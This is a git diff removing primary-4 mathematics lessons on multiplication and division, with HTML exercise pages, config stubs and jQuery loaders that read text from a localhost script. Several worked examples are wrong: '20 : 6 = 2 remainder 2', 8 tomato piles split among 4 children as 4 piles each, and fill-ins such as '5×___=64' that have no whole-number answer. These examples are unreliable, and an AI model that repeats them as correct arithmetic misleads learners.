-   </td>
-   <td width="33%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Remember : Arrange numbers such that the multiplier is under the ones of the multiplicand then multiply.
- <br />
- Multiply 4 ones by 2 = 4 x 2 = 8 ones
- <br />
- Multiply 6 ones by 2 = 6 x 2 = 1 2 ones
- <br />
- Write 2 in tens take 1 to hundreds
- <br />
- Multiply 7 hundreds by 2 = 7 x 2 = 14 ones
- <br />
- Add 1 hundred = 15 hundreds
- <br />
- <br />
- Multiply 1 5 8 x 3 4
- <br />
- Remember : start multiplying by ones then tens before you add :
- <br />
- <br />
- 1 5 8
- <span style="color: #ffffff;">
-  ......................X
- </span>
- <br />
- x 3 4
- <br />
- l l
- <br />
- l l___Ones
- <br />
- l____Tens
- <br />
- <span style="color: #cccccc;">
- </span>
- <span style="color: #ffffff;">
- </span>
- <br />
- <span style="color: #ffffff;">
-  .......
- </span>
- 158
- <br />
- x
- <span style="text-decoration: underline;">
-  <span style="color: #ffffff;">
-   ........
-  </span>
-  4
- </span>
- <br />
- <span style="color: #ffffff;">
-  ......
- </span>
- 6 32
- <br />
- <br />
- 1 5 8
- <br />
- <span style="text-decoration: underline;">
-  <span style="color: #ffffff;">
-   x .
-  </span>
-  3 0
- </span>
- <br />
- 4 7 4 0
-</p>
-<div style="text-align: left;">
-</div>
-<ul>
- <li>
-  Multiply
-  <span style="font-weight: bold;">
-   Ones
-  </span>
- </li>
- <li>
-  Multiply by
-  <span style="font-weight: bold;">
-   Tens
-  </span>
- </li>
- <li>
-  Arrange Multiplication by
-  <span style="font-weight: bold;">
-   Ones
-  </span>
-  and
-  <span style="font-weight: bold;">
-   Tens .
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
- </span>
- 1 5 8
- <br />
- <span style="font-weight: bold;">
-  <span style="text-decoration: underline;">
-   x
-  </span>
- </span>
- <span style="text-decoration: underline;">
-  3 4
- </span>
- <br />
- 6 3 2
- <br />
- <span style="text-decoration: underline;">
-  +474
- </span>
- <br />
- 53 72
-</p>
-<ul>
- <li>
-  Remember : Multiplication is an operation similar to addition of equal numbers . 25 +25 + 25 + 25 + 25 + 25 = 150
- </li>
-</ul>
-<p>
- To multiply a two digit numbers , multiply by ones then by tens . Lastly , add up the two results .
- <br />
- e.g : 3 1 7 x 4 3 = 3 1 7 x ( 4 0 + 3 )
- <br />
- =( 3 1 7 x 4 0) + ( 3 1 7 x 3 )
- <br />
- =1 2 6 8 0 + 9 5 1
- <br />
- =1 3 6 3 1
- <br />
- <span style="color: #ffffff;">
-  ..................
- </span>
- <br />
- <span style="color: #ffffff;">
-  ................
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="color: #ffffff;">
-  ..........................
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="color: #ffffff;">
-  ....
- </span>
- <br />
- <span style="color: #ffffff;">
-  ..
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="color: #ffffff;">
-  .
- </span>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a03/a.txt b/Save_Mathematics/P4/map411m07/map411m07a03/a.txt
deleted file mode 100644
index 196d362..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a03/a.txt
+++ /dev/null
@@ -1,52 +0,0 @@
-<p>
- 1) Calculate the multiplications of those numbers:
- <br />
- <br />
- a) 32&times;3=
- <br />
- <br />
- b) 74 &times;2=
- <br />
- <br />
- c) 124 &times;10=
- <br />
- <br />
- d) 342 &times;14=
- <br />
- <br />
- e) 988 &times;23 =
- <br />
- <br />
- f) 645&times;48=
- <br />
- <br />
- g) 7563 &times;64=
- <br />
- <br />
- h) 6364 &times;37=
- <br />
- <br />
- 2) Complete the following :
-</p>
-<ul>
- <li>
-  5&times;----------=64.
- </li>
- <li>
-  7&times;----------=73.
- </li>
- <li>
-  9&times;----------=81
- </li>
-</ul>
-<p>
- 3) Our class has 3 rows of 24 pupils each. How many pupils are in our class ?.
- <br />
- <br />
- 4) Ruhamagariro primary school has 20 boxes of chalks. If each box contain 100 chalks. how many chalks does Ruhamagariro ?.
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a03/description.py b/Save_Mathematics/P4/map411m07/map411m07a03/description.py
deleted file mode 100644
index 9d2996a..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m07a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m07/map411m07a03/lesson.js b/Save_Mathematics/P4/map411m07/map411m07a03/lesson.js
deleted file mode 100644
index 6f6de1b..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m07/map411m07a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m07/map411m07a03/source.txt b/Save_Mathematics/P4/map411m07/map411m07a03/source.txt
deleted file mode 100644
index 196d362..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a03/source.txt
+++ /dev/null
@@ -1,52 +0,0 @@
-<p>
- 1) Calculate the multiplications of those numbers:
- <br />
- <br />
- a) 32&times;3=
- <br />
- <br />
- b) 74 &times;2=
- <br />
- <br />
- c) 124 &times;10=
- <br />
- <br />
- d) 342 &times;14=
- <br />
- <br />
- e) 988 &times;23 =
- <br />
- <br />
- f) 645&times;48=
- <br />
- <br />
- g) 7563 &times;64=
- <br />
- <br />
- h) 6364 &times;37=
- <br />
- <br />
- 2) Complete the following :
-</p>
-<ul>
- <li>
-  5&times;----------=64.
- </li>
- <li>
-  7&times;----------=73.
- </li>
- <li>
-  9&times;----------=81
- </li>
-</ul>
-<p>
- 3) Our class has 3 rows of 24 pupils each. How many pupils are in our class ?.
- <br />
- <br />
- 4) Ruhamagariro primary school has 20 boxes of chalks. If each box contain 100 chalks. how many chalks does Ruhamagariro ?.
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a04/a.txt b/Save_Mathematics/P4/map411m07/map411m07a04/a.txt
deleted file mode 100644
index 196d362..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a04/a.txt
+++ /dev/null
@@ -1,52 +0,0 @@
-<p>
- 1) Calculate the multiplications of those numbers:
- <br />
- <br />
- a) 32&times;3=
- <br />
- <br />
- b) 74 &times;2=
- <br />
- <br />
- c) 124 &times;10=
- <br />
- <br />
- d) 342 &times;14=
- <br />
- <br />
- e) 988 &times;23 =
- <br />
- <br />
- f) 645&times;48=
- <br />
- <br />
- g) 7563 &times;64=
- <br />
- <br />
- h) 6364 &times;37=
- <br />
- <br />
- 2) Complete the following :
-</p>
-<ul>
- <li>
-  5&times;----------=64.
- </li>
- <li>
-  7&times;----------=73.
- </li>
- <li>
-  9&times;----------=81
- </li>
-</ul>
-<p>
- 3) Our class has 3 rows of 24 pupils each. How many pupils are in our class ?.
- <br />
- <br />
- 4) Ruhamagariro primary school has 20 boxes of chalks. If each box contain 100 chalks. how many chalks does Ruhamagariro ?.
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a04/description.py b/Save_Mathematics/P4/map411m07/map411m07a04/description.py
deleted file mode 100644
index 2b002ef..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m07a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m07/map411m07a04/lesson.js b/Save_Mathematics/P4/map411m07/map411m07a04/lesson.js
deleted file mode 100644
index 1b47ab1..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m07/map411m07a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m07/map411m07a04/source.txt b/Save_Mathematics/P4/map411m07/map411m07a04/source.txt
deleted file mode 100644
index 196d362..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a04/source.txt
+++ /dev/null
@@ -1,52 +0,0 @@
-<p>
- 1) Calculate the multiplications of those numbers:
- <br />
- <br />
- a) 32&times;3=
- <br />
- <br />
- b) 74 &times;2=
- <br />
- <br />
- c) 124 &times;10=
- <br />
- <br />
- d) 342 &times;14=
- <br />
- <br />
- e) 988 &times;23 =
- <br />
- <br />
- f) 645&times;48=
- <br />
- <br />
- g) 7563 &times;64=
- <br />
- <br />
- h) 6364 &times;37=
- <br />
- <br />
- 2) Complete the following :
-</p>
-<ul>
- <li>
-  5&times;----------=64.
- </li>
- <li>
-  7&times;----------=73.
- </li>
- <li>
-  9&times;----------=81
- </li>
-</ul>
-<p>
- 3) Our class has 3 rows of 24 pupils each. How many pupils are in our class ?.
- <br />
- <br />
- 4) Ruhamagariro primary school has 20 boxes of chalks. If each box contain 100 chalks. how many chalks does Ruhamagariro ?.
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a05/a.txt b/Save_Mathematics/P4/map411m07/map411m07a05/a.txt
deleted file mode 100644
index e49a883..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a05/a.txt
+++ /dev/null
@@ -1,88 +0,0 @@
-<p>
- 1) Find the missing numbers:
-</p>
-<ol>
- <li>
-  <h3>
-   346 &times; 5 =
-  </h3>
- </li>
- <li style="direction: ltr;">
-  <h4>
-   120 &times; 23=
-  </h4>
- </li>
- <li style="direction: ltr;">
-  <h4>
-   18 x184 =
-  </h4>
- </li>
- <li style="direction: ltr;">
-  <h4>
-   23 x 9 =
-  </h4>
- </li>
- <li style="direction: ltr;">
-  <h3>
-   15x3 3 =
-  </h3>
- </li>
- <li style="direction: ltr;">
-  <h4>
-   20x 2 56 =
-  </h4>
- </li>
- <li style="direction: ltr;">
-  <h3>
-   96x2 6 =
-  </h3>
- </li>
-</ol>
-<p>
- <br />
- 2) Find the product of:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  <h4>
-   93 and 7
-  </h4>
- </li>
- <li>
-  <h4>
-   948 and 6
-  </h4>
- </li>
- <li>
-  <h4>
-   53and 28
-  </h4>
- </li>
- <li>
-  <h4>
-   78and2 5
-  </h4>
- </li>
- <li>
-  <h4>
-   472 and 2
-  </h4>
- </li>
- <li>
-  <h4>
-   12 and 181
-  </h4>
- </li>
- <li>
-  <h4>
-   123 and 57
-  </h4>
- </li>
- <li>
-  <h4>
-   26 and 6 8
-  </h4>
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a05/description.py b/Save_Mathematics/P4/map411m07/map411m07a05/description.py
deleted file mode 100644
index 412b7ce..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m07a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m07/map411m07a05/lesson.js b/Save_Mathematics/P4/map411m07/map411m07a05/lesson.js
deleted file mode 100644
index 3ce8a35..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m07/map411m07a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m07/map411m07a05/source.txt b/Save_Mathematics/P4/map411m07/map411m07a05/source.txt
deleted file mode 100644
index e49a883..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a05/source.txt
+++ /dev/null
@@ -1,88 +0,0 @@
-<p>
- 1) Find the missing numbers:
-</p>
-<ol>
- <li>
-  <h3>
-   346 &times; 5 =
-  </h3>
- </li>
- <li style="direction: ltr;">
-  <h4>
-   120 &times; 23=
-  </h4>
- </li>
- <li style="direction: ltr;">
-  <h4>
-   18 x184 =
-  </h4>
- </li>
- <li style="direction: ltr;">
-  <h4>
-   23 x 9 =
-  </h4>
- </li>
- <li style="direction: ltr;">
-  <h3>
-   15x3 3 =
-  </h3>
- </li>
- <li style="direction: ltr;">
-  <h4>
-   20x 2 56 =
-  </h4>
- </li>
- <li style="direction: ltr;">
-  <h3>
-   96x2 6 =
-  </h3>
- </li>
-</ol>
-<p>
- <br />
- 2) Find the product of:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  <h4>
-   93 and 7
-  </h4>
- </li>
- <li>
-  <h4>
-   948 and 6
-  </h4>
- </li>
- <li>
-  <h4>
-   53and 28
-  </h4>
- </li>
- <li>
-  <h4>
-   78and2 5
-  </h4>
- </li>
- <li>
-  <h4>
-   472 and 2
-  </h4>
- </li>
- <li>
-  <h4>
-   12 and 181
-  </h4>
- </li>
- <li>
-  <h4>
-   123 and 57
-  </h4>
- </li>
- <li>
-  <h4>
-   26 and 6 8
-  </h4>
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a06/a.txt b/Save_Mathematics/P4/map411m07/map411m07a06/a.txt
deleted file mode 100644
index b5e3c1a..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a06/a.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-<p>
- 1) There are 23 books in each of 7 class. how many books are in that classroom?.
- <br />
- <br />
- 2) A Mathematics book of P4 has 137 pages. How many pages in 3 such books ?
- <br />
- <br />
- 3) A bottle of Agashya juice costs 25 00 Rwf. How much money will David pay for 7 bottles of Agashya juice ? Intruction. .
- <br />
- A memorise Activity to much a pair of numbers with their product.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m07/map411m07a06/description.py b/Save_Mathematics/P4/map411m07/map411m07a06/description.py
deleted file mode 100644
index 11a6cbc..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m07a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m07/map411m07a06/lesson.js b/Save_Mathematics/P4/map411m07/map411m07a06/lesson.js
deleted file mode 100644
index a36c1d7..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m07/map411m07a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m07/map411m07a06/source.txt b/Save_Mathematics/P4/map411m07/map411m07a06/source.txt
deleted file mode 100644
index b5e3c1a..0000000
--- a/Save_Mathematics/P4/map411m07/map411m07a06/source.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-<p>
- 1) There are 23 books in each of 7 class. how many books are in that classroom?.
- <br />
- <br />
- 2) A Mathematics book of P4 has 137 pages. How many pages in 3 such books ?
- <br />
- <br />
- 3) A bottle of Agashya juice costs 25 00 Rwf. How much money will David pay for 7 bottles of Agashya juice ? Intruction. .
- <br />
- A memorise Activity to much a pair of numbers with their product.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m08/activities.js b/Save_Mathematics/P4/map411m08/activities.js
deleted file mode 100755
index cdfb88a..0000000
--- a/Save_Mathematics/P4/map411m08/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m08a01','blue'],
-['2','2','map4','basic','map411m08a02','blue'],
-['3','3','map4','basic','map411m08a03','blue'],
-['4','4','map4','basic','map411m08a04','blue'],
-['5','5','map4','basic','map411m08a05','blue'],
-['6','6','map4','basic','map411m08a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m08/map411m08a01/a.txt b/Save_Mathematics/P4/map411m08/map411m08a01/a.txt
deleted file mode 100644
index d652d95..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a01/a.txt
+++ /dev/null
@@ -1,139 +0,0 @@
-<p>
- The division can be subdivided into Dvivision without remainder and Division with remainder.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Division without remainder.
- </li>
-</ul>
-<p>
- <span style="color: #ff0000;">
-  Drawing of 8 piles of tomatoes
- </span>
- . 4 children buy them. Each obtains 4 piles
- <br />
- <br />
- <br />
- 1) Find the the quotient of the following :
- <br />
- <br />
-</p>
-<ol>
- <li>
-  24: 2 =
- </li>
- <li>
-  66 : 3 =
- </li>
- <li>
-  208 : 9
- </li>
- <li>
-  264 : 2 =
- </li>
- <li>
-  312: 2=
- </li>
- <li>
-  450 : 45=
- </li>
- <li>
-  120 : 2 =.
- </li>
- <li>
-  888 : 4 = .
- </li>
- <li>
-  186 : 6=
- </li>
-</ol>
-<h4 style="text-decoration: underline;">
- <span style="font-style: italic;">
-  Instructions
- </span>
-</h4>
-<p>
- <span style="color: #ff0000;">
-  Show students how to arrange numbers for division.
- </span>
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Knowledge
- </span>
- <br />
- <br />
-</p>
-<ul>
- <li>
-  To divide , arrange numbers for division then divide starting from the left.
- </li>
-</ul>
-<p>
- The result of division is a quotient.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  To check wether the division is correct , multiply the divisor by the quotient. You must get the number equal to the dividend.
- </li>
- <li>
-  Divide the dividend by the divisor , substract all possible multiples of the divisor from the dividend , what is left is the remainder.
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<h4 style="text-decoration: underline;">
- Division with remainder.
-</h4>
-<p>
- <span style="color: #ff0000;">
-  Instruction . Illustration of 27 bottles of primus and 2crates , when put in , 3 bottles rest .
- </span>
-</p>
-<ol>
- <li>
-  5:2=2 remainder is 1.
- </li>
- <li>
-  9:4 =2 remainder is 1.
- </li>
- <li>
-  12 : 5 = 2 remainder is 2.
- </li>
- <li>
-  20 : 6 = 2 remainder is 2.
- </li>
- <li>
-  11 : 3 = 3 remainder is 2.
- </li>
- <li>
-  19 :5 = 3 remainder is 4
- </li>
- <li>
-  50 : 30 = 1 remainder is 20
- </li>
- <li>
-  158 : 10 = 15 remainder is 8.
- </li>
- <li>
-  300 : 4 =75 remainder is 0
- </li>
- <li>
-  605 : 6 = 100 remainder is 5.
- </li>
-</ol>
-<h3 style="text-decoration: underline;">
- Instruction.
-</h3>
-<p>
- <span style="color: #ff0000;">
-  Show division with remainder by arranging numbers approprietly.
- </span>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m08/map411m08a01/description.py b/Save_Mathematics/P4/map411m08/map411m08a01/description.py
deleted file mode 100644
index ea3a3ab..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m08a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m08/map411m08a01/lesson.js b/Save_Mathematics/P4/map411m08/map411m08a01/lesson.js
deleted file mode 100644
index f858c27..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m08/map411m08a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m08/map411m08a01/source.txt b/Save_Mathematics/P4/map411m08/map411m08a01/source.txt
deleted file mode 100644
index d652d95..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a01/source.txt
+++ /dev/null
@@ -1,139 +0,0 @@
-<p>
- The division can be subdivided into Dvivision without remainder and Division with remainder.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Division without remainder.
- </li>
-</ul>
-<p>
- <span style="color: #ff0000;">
-  Drawing of 8 piles of tomatoes
- </span>
- . 4 children buy them. Each obtains 4 piles
- <br />
- <br />
- <br />
- 1) Find the the quotient of the following :
- <br />
- <br />
-</p>
-<ol>
- <li>
-  24: 2 =
- </li>
- <li>
-  66 : 3 =
- </li>
- <li>
-  208 : 9
- </li>
- <li>
-  264 : 2 =
- </li>
- <li>
-  312: 2=
- </li>
- <li>
-  450 : 45=
- </li>
- <li>
-  120 : 2 =.
- </li>
- <li>
-  888 : 4 = .
- </li>
- <li>
-  186 : 6=
- </li>
-</ol>
-<h4 style="text-decoration: underline;">
- <span style="font-style: italic;">
-  Instructions
- </span>
-</h4>
-<p>
- <span style="color: #ff0000;">
-  Show students how to arrange numbers for division.
- </span>
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Knowledge
- </span>
- <br />
- <br />
-</p>
-<ul>
- <li>
-  To divide , arrange numbers for division then divide starting from the left.
- </li>
-</ul>
-<p>
- The result of division is a quotient.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  To check wether the division is correct , multiply the divisor by the quotient. You must get the number equal to the dividend.
- </li>
- <li>
-  Divide the dividend by the divisor , substract all possible multiples of the divisor from the dividend , what is left is the remainder.
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<h4 style="text-decoration: underline;">
- Division with remainder.
-</h4>
-<p>
- <span style="color: #ff0000;">
-  Instruction . Illustration of 27 bottles of primus and 2crates , when put in , 3 bottles rest .
- </span>
-</p>
-<ol>
- <li>
-  5:2=2 remainder is 1.
- </li>
- <li>
-  9:4 =2 remainder is 1.
- </li>
- <li>
-  12 : 5 = 2 remainder is 2.
- </li>
- <li>
-  20 : 6 = 2 remainder is 2.
- </li>
- <li>
-  11 : 3 = 3 remainder is 2.
- </li>
- <li>
-  19 :5 = 3 remainder is 4
- </li>
- <li>
-  50 : 30 = 1 remainder is 20
- </li>
- <li>
-  158 : 10 = 15 remainder is 8.
- </li>
- <li>
-  300 : 4 =75 remainder is 0
- </li>
- <li>
-  605 : 6 = 100 remainder is 5.
- </li>
-</ol>
-<h3 style="text-decoration: underline;">
- Instruction.
-</h3>
-<p>
- <span style="color: #ff0000;">
-  Show division with remainder by arranging numbers approprietly.
- </span>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m08/map411m08a02/a.txt b/Save_Mathematics/P4/map411m08/map411m08a02/a.txt
deleted file mode 100644
index 9effa7c..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a02/a.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-Guided Practice
-
-The division can be subdivided into Dvivision without reminder and Division with reminder.
-
-    * Division without reminder.
-    * Drawing of 8 piles of tomatoes . 4 children buy them. Each obtains 4 piles .
-
-
-1) Find the the quotient of the following :
-
-   1. 10 : 2 =5.
-   2. 60 : 3 = 30.
-   3. 18 : 9 =2.
-   4. 200 : 2 = 100.
-   5. 300 : 2=150.
-   6. 450 : 45=10.
-   7. 120 : 2 =60.
-   8. 360 : 3 =120.
-   9. 800 : 4 = 200.
-  10. 1800 : 6=300.
-
-Instructions
-Show students how to arrange numbers for division.
-
-Knowledge
-
-To divide , arrange numbers for division then divide starting from the left.
-The result of division is a quotient.
-To check wether the division is correct , multiply the divisor by the quotient. You must get the number equal to the dividend.
-
-Division with reminder.
-Instruction . Illustration of 27 bottles of primus and 2casiers , when put in , 3 bottles rest .
-
-   1. 5:2=2 reminder is 1.
-   2. 9:4 =2 reminder is 1.
-   3. 12 : 5 = 2 reminder is 2.
-   4. 20 : 6 = 2 remindre is 2.
-   5. 11 : 3 = 3 reminder is 2.
-   6. 19 :5 = 3 reminder is 4
-   7. 50 : 30 = 1 reminder is 20
-   8. 158 : 10 = 15 reminder is 8.
-   9. 300 : 4 =75 reminder is 0
-  10. 605 : 6 = 100 reminder is 5.
-
-Instruction.
-Show division with reminder by arranging numbers approprietly.
diff --git a/Save_Mathematics/P4/map411m08/map411m08a02/description.py b/Save_Mathematics/P4/map411m08/map411m08a02/description.py
deleted file mode 100644
index a8e62f9..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m08a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m08/map411m08a02/lesson.js b/Save_Mathematics/P4/map411m08/map411m08a02/lesson.js
deleted file mode 100644
index afcae4c..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m08/map411m08a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m08/map411m08a02/source.txt b/Save_Mathematics/P4/map411m08/map411m08a02/source.txt
deleted file mode 100644
index 9effa7c..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a02/source.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-Guided Practice
-
-The division can be subdivided into Dvivision without reminder and Division with reminder.
-
-    * Division without reminder.
-    * Drawing of 8 piles of tomatoes . 4 children buy them. Each obtains 4 piles .
-
-
-1) Find the the quotient of the following :
-
-   1. 10 : 2 =5.
-   2. 60 : 3 = 30.
-   3. 18 : 9 =2.
-   4. 200 : 2 = 100.
-   5. 300 : 2=150.
-   6. 450 : 45=10.
-   7. 120 : 2 =60.
-   8. 360 : 3 =120.
-   9. 800 : 4 = 200.
-  10. 1800 : 6=300.
-
-Instructions
-Show students how to arrange numbers for division.
-
-Knowledge
-
-To divide , arrange numbers for division then divide starting from the left.
-The result of division is a quotient.
-To check wether the division is correct , multiply the divisor by the quotient. You must get the number equal to the dividend.
-
-Division with reminder.
-Instruction . Illustration of 27 bottles of primus and 2casiers , when put in , 3 bottles rest .
-
-   1. 5:2=2 reminder is 1.
-   2. 9:4 =2 reminder is 1.
-   3. 12 : 5 = 2 reminder is 2.
-   4. 20 : 6 = 2 remindre is 2.
-   5. 11 : 3 = 3 reminder is 2.
-   6. 19 :5 = 3 reminder is 4
-   7. 50 : 30 = 1 reminder is 20
-   8. 158 : 10 = 15 reminder is 8.
-   9. 300 : 4 =75 reminder is 0
-  10. 605 : 6 = 100 reminder is 5.
-
-Instruction.
-Show division with reminder by arranging numbers approprietly.
diff --git a/Save_Mathematics/P4/map411m08/map411m08a03/a.txt b/Save_Mathematics/P4/map411m08/map411m08a03/a.txt
deleted file mode 100644
index d652d95..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a03/a.txt
+++ /dev/null
@@ -1,139 +0,0 @@
-<p>
- The division can be subdivided into Dvivision without remainder and Division with remainder.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Division without remainder.
- </li>
-</ul>
-<p>
- <span style="color: #ff0000;">
-  Drawing of 8 piles of tomatoes
- </span>
- . 4 children buy them. Each obtains 4 piles
- <br />
- <br />
- <br />
- 1) Find the the quotient of the following :
- <br />
- <br />
-</p>
-<ol>
- <li>
-  24: 2 =
- </li>
- <li>
-  66 : 3 =
- </li>
- <li>
-  208 : 9
- </li>
- <li>
-  264 : 2 =
- </li>
- <li>
-  312: 2=
- </li>
- <li>
-  450 : 45=
- </li>
- <li>
-  120 : 2 =.
- </li>
- <li>
-  888 : 4 = .
- </li>
- <li>
-  186 : 6=
- </li>
-</ol>
-<h4 style="text-decoration: underline;">
- <span style="font-style: italic;">
-  Instructions
- </span>
-</h4>
-<p>
- <span style="color: #ff0000;">
-  Show students how to arrange numbers for division.
- </span>
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Knowledge
- </span>
- <br />
- <br />
-</p>
-<ul>
- <li>
-  To divide , arrange numbers for division then divide starting from the left.
- </li>
-</ul>
-<p>
- The result of division is a quotient.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  To check wether the division is correct , multiply the divisor by the quotient. You must get the number equal to the dividend.
- </li>
- <li>
-  Divide the dividend by the divisor , substract all possible multiples of the divisor from the dividend , what is left is the remainder.
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<h4 style="text-decoration: underline;">
